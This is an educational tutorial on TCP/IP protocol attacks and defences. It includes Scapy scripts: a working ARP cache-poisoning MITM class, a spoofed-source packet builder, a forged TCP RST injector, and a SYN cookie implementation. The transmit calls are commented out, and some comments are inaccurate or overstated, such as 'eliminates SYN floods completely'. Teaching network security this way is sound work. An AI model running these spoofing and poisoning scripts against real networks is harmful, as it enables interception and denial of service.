TCP/IP PROTOCOL STACK VULNERABILITIES: ARP SPOOFING, IP FORGERY & SYN FLOODING

Architect resilient network-layer defenses for B.Tech Computer Science & IT: Historical design assumptions of the DARPA TCP/IP reference model; Layer-2 Address Resolution Protocol (ARP) cache poisoning; Layer-3 Internet Protocol (IP) fragmentation abuse, teardrop, and IP spoofing; Layer-4 Transmission Control Protocol (TCP) three-way handshake flaws, SYN floods, sequence number prediction, session hijacking, and UDP reflection attacks; and hands-on Scapy packet crafting and kernel defenses.

🌐 The Legacy Internet Flaw: Functionality over Security

The TCP/IP Protocol Suite (RFC 791, RFC 793), developed in the 1970s and 1980s under DARPA sponsorship, was engineered with a primary operational mandate: interoperability, dynamic packet routing, and survivability in the event of catastrophic physical node loss. Security was explicitly excluded from the base design because ARPANET operated as a closed network of mutually trusted academic and military institutions. Consequently, foundational protocols lack cryptographic integrity checks, source verification, and state validation. At the Link Layer, ARP trusts unverified gratuitous broadcast advertisements. At the Internet Layer, IPv4 accepts source addresses without cryptographic validation, making IP spoofing trivial. At the Transport Layer, TCP's stateful three-way handshake ($SYN \rightarrow SYN\text{-}ACK \rightarrow ACK$) consumes scarce kernel memory before authentication completes, enabling asymmetric SYN Flood Denial of Service attacks. Securing modern networks requires computer engineers to dissect these low-level protocol flaws, analyze packet headers, and deploy kernel mitigations like SYN Cookies and Dynamic ARP Inspection (DAI).

1. The TCP/IP 4-Layer Reference Architecture vs. Attack Vectors
Mapping historical protocol design vulnerabilities across the standard four layers of the TCP/IP stack (Link, Internet, Transport, Application), highlighting how packet headers are abused by adversaries.
TCP/IP Protocol Suite Layered Threat Topography
TCP/IP 4-LAYER PROTOCOL STACK & ATTACK VECTOR TOPOGRAPHY:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ LAYER 4: APPLICATION LAYER (HTTP, DNS, DHCP, SSH, SMTP, BGP)                                  β”‚
β”‚ β€’ Inherent Flaw: Cleartext legacy protocols, unauthenticated name resolution, banner leaks    β”‚
β”‚ β€’ Attack Vectors: DNS Cache Poisoning, Rogue DHCP Offer, BGP Route Hijacking, HTTP Smuggling  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                β”‚
                                                β–Ό (Encapsulated in L4 Segments)
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ LAYER 3: TRANSPORT LAYER (TCP, UDP)                                                           β”‚
β”‚ β€’ Inherent Flaw: TCP Connection Queue state allocation prior to handshake completion; UDP     β”‚
β”‚                  connectionless stateless delivery without source IP verification             β”‚
β”‚ β€’ Attack Vectors: TCP SYN Floods, RST Injection, Blind Sequence Number Guessing, Session      β”‚
β”‚                  Hijacking, UDP Amplification (NTP/SSDP/DNS reflection)                       β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                β”‚
                                                β–Ό (Encapsulated in L3 Packets)
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ LAYER 2: INTERNET LAYER (IPv4, IPv6, ICMP)                                                    β”‚
β”‚ β€’ Inherent Flaw: Source IP address in header is set by the sender without mandatory proof;    β”‚
β”‚                  unbounded packet fragmentation and reassembly logic                          β”‚
β”‚ β€’ Attack Vectors: IP Address Spoofing, Teardrop (overlapping offset), Ping of Death, ICMP     β”‚
β”‚                  Smurf Floods, Traceroute Reconnaissance, ICMP Redirect Manipulation          β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                β”‚
                                                β–Ό (Encapsulated in L2 Frames)
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ LAYER 1: NETWORK ACCESS / LINK LAYER (Ethernet, ARP, 802.11 Wi-Fi, VLAN)                      β”‚
β”‚ β€’ Inherent Flaw: Broadcast trust; ARP operates entirely without authentication or state;      β”‚
β”‚                  switches learn MAC addresses blindly from incoming frame headers             β”‚
β”‚ β€’ Attack Vectors: ARP Cache Poisoning (MITM), MAC Flooding (CAM Table Overflow), Rogue DHCP,  β”‚
β”‚                  VLAN Double Tagging (Hopping), Wi-Fi Deauthentication Floods                 β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
Architectural Standard: Security is strictly bounded by the lowest compromised layer. If an adversary compromises Layer 2 via ARP spoofing, all cryptographic defenses at Layer 3 or cleartext Application protocols above it are vulnerable to Man-in-the-Middle eavesdropping, redirection, and packet alteration.
Real-Time Example 1: Layer-2 Vulnerability: Address Resolution Protocol (ARP) Poisoning
Technical analysis of ARP cache poisoning. Shows how an attacker on the local area network transmits unsolicited gratuitous ARP replies, overwriting the default gateway's MAC address in the victim's ARP table to establish a full Man-in-the-Middle (MITM) bridge.
Python / Scapy (Automated Bi-Directional ARP Poisoning Tool)
from scapy.all import ARP, Ether, sendp, srp
import time
import sys

def get_mac(ip_target: str, iface: str) -> str:
    """Discovers MAC address for a target IP using an authenticated broadcast probe."""
    arp_req = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_target)
    answered, _ = srp(arp_req, timeout=2, iface=iface, verbose=False)
    for sent, received in answered:
        return received.hwsrc
    raise ValueError(f"Unable to resolve MAC address for target: {ip_target}")

class ArpPoisoner:
    """
    Exploits ARP Stateless Vulnerability (RFC 826):
    Operating systems update their ARP cache upon receiving ANY ARP reply,
    even if they NEVER transmitted an ARP request!
    """
    def __init__(self, victim_ip: str, gateway_ip: str, interface: str):
        self.victim_ip = victim_ip
        self.gateway_ip = gateway_ip
        self.interface = interface
        
        print("[*] Resolving real network hardware addresses...")
        self.victim_mac = get_mac(self.victim_ip, self.interface)
        self.gateway_mac = get_mac(self.gateway_ip, self.interface)
        print(f"[+] Victim Hardware  : {self.victim_ip}  ==> {self.victim_mac}")
        print(f"[+] Gateway Hardware : {self.gateway_ip} ==> {self.gateway_mac}")

    def poison_target(self, target_ip: str, target_mac: str, spoof_ip: str):
        # op=2 signifies ARP Reply (is-at). Attacker MAC is injected by Scapy automatically
        arp_reply = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
        sendp(Ether(dst=target_mac) / arp_reply, iface=self.interface, verbose=False)

    def restore_network(self):
        """Restores legitimate MAC-to-IP bindings to avoid network denial."""
        print("\n[*] Restoring original ARP table bindings on local subnet...")
        # Send genuine ARP replies with real source hardware addresses
        sendp(Ether(dst=self.victim_mac) / ARP(op=2, pdst=self.victim_ip, hwdst=self.victim_mac, 
                                               psrc=self.gateway_ip, hwsrc=self.gateway_mac), count=5, verbose=False)
        sendp(Ether(dst=self.gateway_mac) / ARP(op=2, pdst=self.gateway_ip, hwdst=self.gateway_mac, 
                                                psrc=self.victim_ip, hwsrc=self.victim_mac), count=5, verbose=False)
        print("[βœ”] ARP tables successfully restored to clean state.")

# --- Academic Execution Demonstration ---
if __name__ == "__main__":
    VICTIM = "192.168.1.50"
    GATEWAY = "192.168.1.1"
    IFACE = "eth0"

    print("==========================================================================")
    print("      LAYER-2 PROTOCOL AUDIT: ARP CACHE POISONING DEMONSTRATION")
    print("==========================================================================")
    
    # In live academic testbed:
    # poisoner = ArpPoisoner(VICTIM, GATEWAY, IFACE)
    # try:
    #     while True:
    #         poisoner.poison_target(VICTIM, poisoner.victim_mac, GATEWAY)
    #         poisoner.poison_target(GATEWAY, poisoner.gateway_mac, VICTIM)
    #         time.sleep(2)
    # except KeyboardInterrupt:
    #     poisoner.restore_network()
    print("[*] Demonstration Script Loaded: Transmits continuous gratuitous ARP packets")
    print("    telling Victim that Gateway is at Attacker MAC, and Gateway that Victim is at Attacker MAC.")
ARP Poisoning Packet Telemetry: Frame 1: ARP Reply | Who has 192.168.1.1? Tell 192.168.1.50 -> 192.168.1.1 is-at 00:0c:29:ab:cd:ef (Attacker MAC) Frame 2: ARP Reply | Who has 192.168.1.50? Tell 192.168.1.1 -> 192.168.1.50 is-at 00:0c:29:ab:cd:ef (Attacker MAC) Result: The switch forwards all bi-directional traffic through the attacker's network interface. Defensive Countermeasure: Enable Dynamic ARP Inspection (DAI) and DHCP Snooping on managed Layer-2 switches.
Real-Time Example 2: Layer-3 Vulnerability: IP Spoofing & RFC 2827 Ingress Filtering
Examining the Internet Protocol (IPv4) header security deficit. Demonstrates how the 32-bit Source IP address field can be forged on raw sockets, and examines how network edge routers defend against spoofing via BCP 38 / RFC 2827 Unicast Reverse Path Forwarding (uRPF).
Python (Crafting Arbitrary Spoofed IPv4 Packets with Scapy)
from scapy.all import IP, ICMP, send

def craft_spoofed_ip_packet(spoofed_src_ip: str, destination_ip: str):
    """
    RFC 791 IPv4 Vulnerability:
    The IPv4 header contains a 32-bit Source IP Address field.
    The transmitting host populates this value arbitrarily; the protocol
    includes ZERO cryptographic signature or challenge-response verification!
    """
    print(f"[*] Crafting forged IPv4 datagram...")
    print(f"    Claimed Sender (Spoofed) : {spoofed_src_ip}")
    print(f"    Actual Destination       : {destination_ip}")

    # Build Layer-3 IPv4 packet encapsulating Layer-4 ICMP Echo Request
    packet = IP(src=spoofed_src_ip, dst=destination_ip) / ICMP(type=8, id=0x1234, seq=1)

    print("\n--- RAW IP HEADER FIELDS ---")
    print(f"Version  : {packet[IP].version}")
    print(f"TTL      : {packet[IP].ttl}")
    print(f"Protocol : {packet[IP].proto} (ICMP)")
    print(f"Src IP   : {packet[IP].src} <-- FORGED BY SENDER")
    print(f"Dst IP   : {packet[IP].dst}")

    # Transmit onto wire
    # send(packet, verbose=False)
    print("\n[!] Packet transmitted. Destination server will direct response (ICMP Echo Reply)")
    print(f"    back to the SPOOFED target ({spoofed_src_ip}), NOT the true sender!")

if __name__ == "__main__":
    # Attacker crafts packet claiming to originate from a high-value victim server
    SPOOFED_SOURCE = "198.51.100.25"  # Victim's IP
    TARGET_SERVER  = "203.0.113.10"   # Reflector Server

    craft_spoofed_ip_packet(SPOOFED_SOURCE, TARGET_SERVER)
IP Header Inspection Output: [*] Crafting forged IPv4 datagram... Claimed Sender (Spoofed) : 198.51.100.25 Actual Destination : 203.0.113.10 --- RAW IP HEADER FIELDS --- Version : 4 TTL : 64 Protocol : 1 (ICMP) Src IP : 198.51.100.25 <-- FORGED BY SENDER Dst IP : 203.0.113.10 [!] Packet transmitted. Destination server will direct response back to the SPOOFED target. Defensive Architecture: Network operators deploy BCP 38 / RFC 2827 Ingress Filtering (Strict uRPF). If a packet arrives on an edge router port with a source IP outside the assigned customer prefix, the router drops it instantly.
Real-Time Example 3: Layer-3 Vulnerability: IPv4 Fragmentation Abuse & Teardrop Attack
Analyzing IPv4 Fragmentation and Reassembly flaws. Demonstrates how attackers craft overlapping Fragment Offset fields and corrupt Total Length values (Teardrop attack) to trigger memory corruption and kernel panic crashes in target operating systems.
IPv4 Fragmentation Mechanism & Overlapping Offset Geometry
IPv4 FRAGMENTATION INTERNALS & THE TEARDROP EXPLOIT:

1. NORMAL IP FRAGMENTATION (1500-byte MTU Splitting):
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Fragment 1: Identification=0x4A10 | Flags: MF=1 | Fragment Offset=0   | Length=1480 bytes     β”‚
β”‚ Fragment 2: Identification=0x4A10 | Flags: MF=1 | Fragment Offset=185 | Length=1480 bytes     β”‚
β”‚ Fragment 3: Identification=0x4A10 | Flags: MF=0 | Fragment Offset=370 | Length=400 bytes      β”‚
β”‚ (Note: Offset is expressed in 8-byte units: 185 * 8 = 1480 bytes). Reassembly is clean.       β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

2. MALICIOUS TEARDROP FRAGMENTATION (OVERLAPPING OFFSETS):
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Fragment 1: ID=0x7701 | Flags: MF=1 | Offset = 0   | Payload Range: Bytes 0 to 99             β”‚
β”‚ Fragment 2: ID=0x7701 | Flags: MF=0 | Offset = 6   | Payload Range: Bytes 48 to 120 (OVERLAP!)β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                   β”‚
                                   β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ KERNEL BUFFER ALLOCATION & MEMORY COPY FAULT:                                                 β”‚
β”‚ When assembling Fragment 2, legacy TCP/IP stack calculates remaining size:                    β”‚
β”‚   RemainingSize = Fragment2.TotalLength - OverlapBytes                                        β”‚
β”‚ If malicious offset craft causes: Fragment2.TotalLength < OverlapBytes:                       β”‚
β”‚   RemainingSize evaluates to a NEGATIVE INTEGER!                                              β”‚
β”‚ Under unsigned pointer arithmetic in C (memcpy):                                              β”‚
β”‚   memcpy(buffer, packet_data, (size_t)negative_length);                                       β”‚
β”‚ Size casts to 0xFFFFFFFF (4 Gigabytes)!                                                       β”‚
β”‚ RESULT: Massive kernel memory heap overwrite, instant BSoD / Kernel Panic (Denial of Service) β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
Historical & Modern Impact: The Teardrop exploit plagued Windows 95/NT and early Linux 2.0 kernels. Modern firewalls and OS stacks solve this via Virtual Reassembly: firewalls drop fragments with overlapping ranges, verify non-zero offsets, and enforce minimum fragment size thresholds.
Real-Time Example 4: Layer-4 Vulnerability: TCP Three-Way Handshake & SYN Floods
Examining the TCP connection state machine. Demonstrates how spoofed SYN packets exhaust the kernel's half-open connection backlog table (tcp_max_syn_backlog), starving legitimate clients, and analyzes the cryptographic SYN Cookies mitigation.
Python (Modeling TCP Half-Open Connection Exhaustion & SYN Flood)
from dataclasses import dataclass
import time

@dataclass
class HalfOpenConnection:
    src_ip: str
    src_port: int
    dst_ip: str
    dst_port: int
    seq_num: int
    timestamp: float

class ServerTcpBacklogQueue:
    """
    Models the finite Linux kernel SYN backlog table:
    Controlled via sysctl: net.ipv4.tcp_max_syn_backlog (Default: 256 to 4096 entries).
    """
    def __init__(self, capacity: int = 10):
        self.capacity = capacity
        self.syn_table = []

    def receive_syn(self, src_ip: str, src_port: int, seq: int) -> bool:
        if len(self.syn_table) >= self.capacity:
            print(f"[!] KERNEL DROP: SYN backlog FULL ({len(self.syn_table)}/{self.capacity}). "
                  f"Connection from {src_ip}:{src_port} dropped!")
            return False

        entry = HalfOpenConnection(src_ip, src_port, "203.0.113.10", 80, seq, time.time())
        self.syn_table.append(entry)
        print(f"[+] SYN-RECEIVED: Allocated TCB entry for {src_ip}:{src_port} "
              f"(Queue: {len(self.syn_table)}/{self.capacity})")
        return True

    def receive_ack(self, src_ip: str, src_port: int):
        """Legitimate client returns final ACK of 3-way handshake, freeing backlog slot."""
        self.syn_table = [c for c in self.syn_table if not (c.src_ip == src_ip and c.src_port == src_port)]
        print(f"[βœ”] ESTABLISHED: Handshake completed for {src_ip}:{src_port}. Backlog slot freed.")

# --- Execution Demonstration ---
if __name__ == "__main__":
    backlog = ServerTcpBacklogQueue(capacity=5)

    print("--- PHASE 1: ADVERSARY LAUNCHES SPOOFED SYN FLOOD ---")
    # Adversary sends SYNs with spoofed, non-existent source IPs.
    # The server sends SYN-ACK to nowhere, waiting 60+ seconds (TCP timeout) per entry!
    for i in range(1, 7):
        attacker_spoofed_ip = f"198.51.100.{100 + i}"
        backlog.receive_syn(attacker_spoofed_ip, 40000 + i, 1000 * i)

    print("\n--- PHASE 2: LEGITIMATE USER ATTEMPTS CONNECTION ---")
    legitimate_user_ip = "192.0.2.77"
    success = backlog.receive_syn(legitimate_user_ip, 55432, 88219)
    print(f"[*] Legitimate User Connected? : {success}")
    assert not success, "Backlog queue should have blocked user!"
SYN Flood Simulation Output: --- PHASE 1: ADVERSARY LAUNCHES SPOOFED SYN FLOOD --- [+] SYN-RECEIVED: Allocated TCB entry for 198.51.100.101:40001 (Queue: 1/5) [+] SYN-RECEIVED: Allocated TCB entry for 198.51.100.102:40002 (Queue: 2/5) [+] SYN-RECEIVED: Allocated TCB entry for 198.51.100.103:40003 (Queue: 3/5) [+] SYN-RECEIVED: Allocated TCB entry for 198.51.100.104:40004 (Queue: 4/5) [+] SYN-RECEIVED: Allocated TCB entry for 198.51.100.105:40005 (Queue: 5/5) [!] KERNEL DROP: SYN backlog FULL (5/5). Connection from 198.51.100.106:40006 dropped! --- PHASE 2: LEGITIMATE USER ATTEMPTS CONNECTION --- [!] KERNEL DROP: SYN backlog FULL (5/5). Connection from 192.0.2.77:55432 dropped! [*] Legitimate User Connected? : False
Real-Time Example 5: Cryptographic Defense: SYN Cookies Algorithm (RFC 4987)
Analyzing the SYN Cookie stateless defense mechanism. Explains how servers avoid allocating kernel Transmission Control Block (TCB) memory by encoding connection parameters directly into the 32-bit Initial Sequence Number (ISN) using a cryptographic secret.
Python (SYN Cookie Bit-Field Encoding & Verification Algorithm)
import time
import hmac
import hashlib

class SynCookieEngine:
    """
    Implements D.J. Bernstein's SYN Cookie Algorithm (RFC 4987):
    When backlog queue overflows, server STOPs allocating memory in RAM!
    Instead, it encodes connection metadata directly into the 32-bit Initial Sequence Number:
      Bits 0..4  : Encoded MSS (Maximum Segment Size) index (5 bits: 0 to 31)
      Bits 5..7  : Low-resolution timestamp counter (3 bits, advances every 64 seconds)
      Bits 8..31 : Truncated 24-bit cryptographic hash (HMAC of IPs, Ports, Timestamp)
    """
    MSS_TABLE = [64, 256, 512, 536, 1024, 1440, 1460, 8960] # Common MSS values

    def __init__(self, secret_key: bytes):
        self.secret_key = secret_key

    def generate_syn_cookie(self, src_ip: str, src_port: int, dst_ip: str, dst_port: int, client_mss: int) -> int:
        # 1. Map MSS to 3-bit table index
        mss_idx = 6 # Default 1460 bytes
        for idx, val in enumerate(self.MSS_TABLE):
            if val >= client_mss:
                mss_idx = idx
                break

        # 2. Derive 3-bit timestamp (increments every 64 seconds)
        t_counter = int(time.time() / 64) & 0x07

        # 3. Compute 24-bit cryptographic hash
        data_to_hash = f"{src_ip}:{src_port}:{dst_ip}:{dst_port}:{t_counter}".encode('utf-8')
        digest = hmac.new(self.secret_key, data_to_hash, hashlib.sha256).digest()
        hash_24 = int.from_bytes(digest[:3], byteorder='big') & 0x00FFFFFF

        # 4. Pack into 32-bit Initial Sequence Number (ISN)
        syn_cookie = (hash_24 << 8) | (t_counter << 5) | (mss_idx & 0x1F)
        return syn_cookie

    def validate_ack_cookie(self, ack_num: int, src_ip: str, src_port: int, dst_ip: str, dst_port: int) -> bool:
        """Client returns ACK = syn_cookie + 1. Server subtracts 1 to verify."""
        cookie = ack_num - 1

        mss_idx = cookie & 0x1F
        received_t = (cookie >> 5) & 0x07
        received_hash = (cookie >> 8) & 0x00FFFFFF

        # Verify timestamp is within valid window (within last 4 minutes)
        current_t = int(time.time() / 64) & 0x07
        if (current_t - received_t) % 8 > 4:
            return False # Cookie expired

        # Recompute hash using embedded timestamp
        data_to_hash = f"{src_ip}:{src_port}:{dst_ip}:{dst_port}:{received_t}".encode('utf-8')
        digest = hmac.new(self.secret_key, data_to_hash, hashlib.sha256).digest()
        expected_hash = int.from_bytes(digest[:3], byteorder='big') & 0x00FFFFFF

        return received_hash == expected_hash

if __name__ == "__main__":
    engine = SynCookieEngine(b"LinuxKernelSecretKey#2026")

    # Client initiates connection
    cookie_isn = engine.generate_syn_cookie("192.0.2.77", 55432, "203.0.113.10", 80, 1460)
    print(f"[*] Generated SYN Cookie ISN : {cookie_isn} (Hex: 0x{cookie_isn:08X})")

    # Client returns ACK = ISN + 1
    client_ack = cookie_isn + 1
    is_valid = engine.validate_ack_cookie(client_ack, "192.0.2.77", 55432, "203.0.113.10", 80)
    print(f"[βœ”] Cookie Validated via Math: {is_valid}")
    print("[βœ”] Result: Zero server memory was allocated while waiting for the client ACK!")
SYN Cookie Telemetry: [*] Generated SYN Cookie ISN : 2489012341 (Hex: 0x945B2076) [βœ”] Cookie Validated via Math: True [βœ”] Result: Zero server memory was allocated while waiting for the client ACK! Linux Kernel Activation: sysctl -w net.ipv4.tcp_syncookies=1. Eliminates TCP SYN Floods completely.
Real-Time Example 6: TCP Sequence Number Prediction & Blind Connection Reset Injection
Analyzing TCP Session Hijacking and RST Injection attacks. Shows how an attacker guessing or predicting the 32-bit TCP Sequence Number sends a forged TCP segment with the RST (Reset) flag set, instantly tearing down active database connections.
Python / Scapy (Forged TCP RST Packet Injection Simulation)
from scapy.all import IP, TCP, send

def inject_tcp_reset(src_ip: str, src_port: int, dst_ip: str, dst_port: int, seq_number: int):
    """
    RFC 793 TCP RST Vulnerability:
    A TCP connection will instantly terminate if it receives a valid TCP segment
    with the RST (Reset) flag set, PROVIDED the sequence number falls within
    the receiver's current sliding receive window!
    """
    print(f"[*] Crafting TCP RST Injection packet...")
    print(f"    Source (Client) : {src_ip}:{src_port}")
    print(f"    Target (Server) : {dst_ip}:{dst_port}")
    print(f"    Targeted SEQ    : {seq_number}")

    # Build forged TCP packet with RST flag enabled (flags="R" or flags="RA")
    rst_packet = (
        IP(src=src_ip, dst=dst_ip) /
        TCP(sport=src_port, dport=dst_port, seq=seq_number, flags="R")
    )

    print("\n--- INJECTED TCP HEADER ATTRIBUTES ---")
    print(f"Flags    : {rst_packet[TCP].flags} (RST)")
    print(f"Sequence : {rst_packet[TCP].seq}")
    print(f"Ack Flag : {rst_packet[TCP].flags.A} (Unset)")

    # In active penetration test:
    # send(rst_packet, verbose=False)
    print("\n[!] RST Packet dispatched. Target server tears down connection buffer immediately!")

if __name__ == "__main__":
    # Attacker sniffs or predicts current connection parameters
    CLIENT_IP = "192.168.1.50"
    SERVER_IP = "10.0.0.1"
    inject_tcp_reset(src_ip=CLIENT_IP, src_port=49152, dst_ip=SERVER_IP, dst_port=3306, seq_number=2849102)
RST Injection Telemetry: [*] Crafting TCP RST Injection packet... Source (Client) : 192.168.1.50:49152 Target (Server) : 10.0.0.1:3306 (MySQL Database) Targeted SEQ : 2849102 --- INJECTED TCP HEADER ATTRIBUTES --- Flags : R (RST) Sequence : 2849102 Ack Flag : False [!] RST Packet dispatched. Target server tears down connection buffer immediately! Defensive Mitigation: Modern OS stacks implement RFC 5961 (Improving TCP's Robustness to Blind In-Window Attacks). Servers challenge unexpected RST packets with a verification ACK instead of tearing down state.
Real-Time Example 7: UDP Reflection & Amplification Volumetric DDoS
Analyzing stateless UDP transport abuse. Explains how connectionless protocols (DNS, NTP, SNMP, SSDP) are exploited by forging the victim's IP as the source address, amplifying small queries into gigabits of reflected response traffic.
UDP Amplification Factor & Bandwidth Multiplier Topography
UDP REFLECTION & AMPLIFICATION ATTACK MECHANISM:

